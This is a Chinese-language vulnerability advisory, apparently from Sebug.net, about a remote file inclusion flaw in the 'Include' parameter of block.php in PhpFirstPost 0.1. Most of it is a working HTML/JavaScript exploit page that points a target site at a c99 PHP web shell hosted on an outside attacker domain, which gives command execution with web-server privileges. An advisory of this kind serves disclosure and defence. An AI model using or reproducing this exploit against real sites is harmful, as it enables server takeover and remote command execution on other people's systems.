影响版本:
PhpFirstPost 0.1
详细说明:
PHPFirstPost是一款基于PHP的WEB应用程序。
PHPFirstPost不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。
问题是’Block.PHP’脚本对用户提交的’Include’参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。
参考:
http://sourceforge.net/projects/phpfirstpost/
解决方案:
http://sourceforge.net/projects/phpfirstpost/
测试方法:
[警 告]
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!
<html>
<head>
<title>..:: PhpFirstPost blog Remote File Include Exploit ::..</title>
<script language="JavaScript">
/*
\\\|///
\\ - - //
( @ @ )
----oOOo--(_)-oOOo---------------------------------------------------
[ Y! Underground Group ]
[ Dj7xpl@yahoo.com ]
[ Dj7xpl.2600.ir ]
----ooooO-----Ooooo--------------------------------------------------
( ) ( )
\ ( ) /
\_) (_/
---------------------------------------------------------------------
[!] Portal : PhpFirstPost 0.1
[!] Download : http://sourceforge.net/projects/phpfirstpost/
[!] Type : Remote File Include Exploit
---------------------------------------------------------------------
*/
var path="/"
var adress="block.php?"
var include ="Include="
var phpshell="http://dj7xpl.by.ru/shell/c99.php?"
function command(){
if (document.rfi.target1.value==""){
alert("Exploit Failed...");
return false;
}
rfi.action= document.rfi.target1.value+path+adress+include+phpshell;
rfi.submit();
}
</script>
</head>
<body bgcolor="#198ccd">
<center>
<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
<b><font face="batangche" size="3" color="white">Target:</font><font
face="Arial" size="2"
color="white">http://Target.ir/blog</font><br><br>
<font color="#00FF00"size="+1" face="batangche">
</font>
<font color="red" size="2"></font></b>
<input type="text" name="target1" size="20" style="background-color:
white" onmouseover="javascript:this.style.background=’red’;"
onmouseout="javascript:this.style.background=’red’;"></p>
<p>
<input type="submit" value="Go -->" name="B1">
<input type="reset" value="Clear" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes"
frameborder="0"></iframe>
</p><br><br>
<p><font color="red" size="2" face="batang">Dj7xpl @ Yahoo . com </font></p>
</center>
</body>
</html>
//Sebug.net |
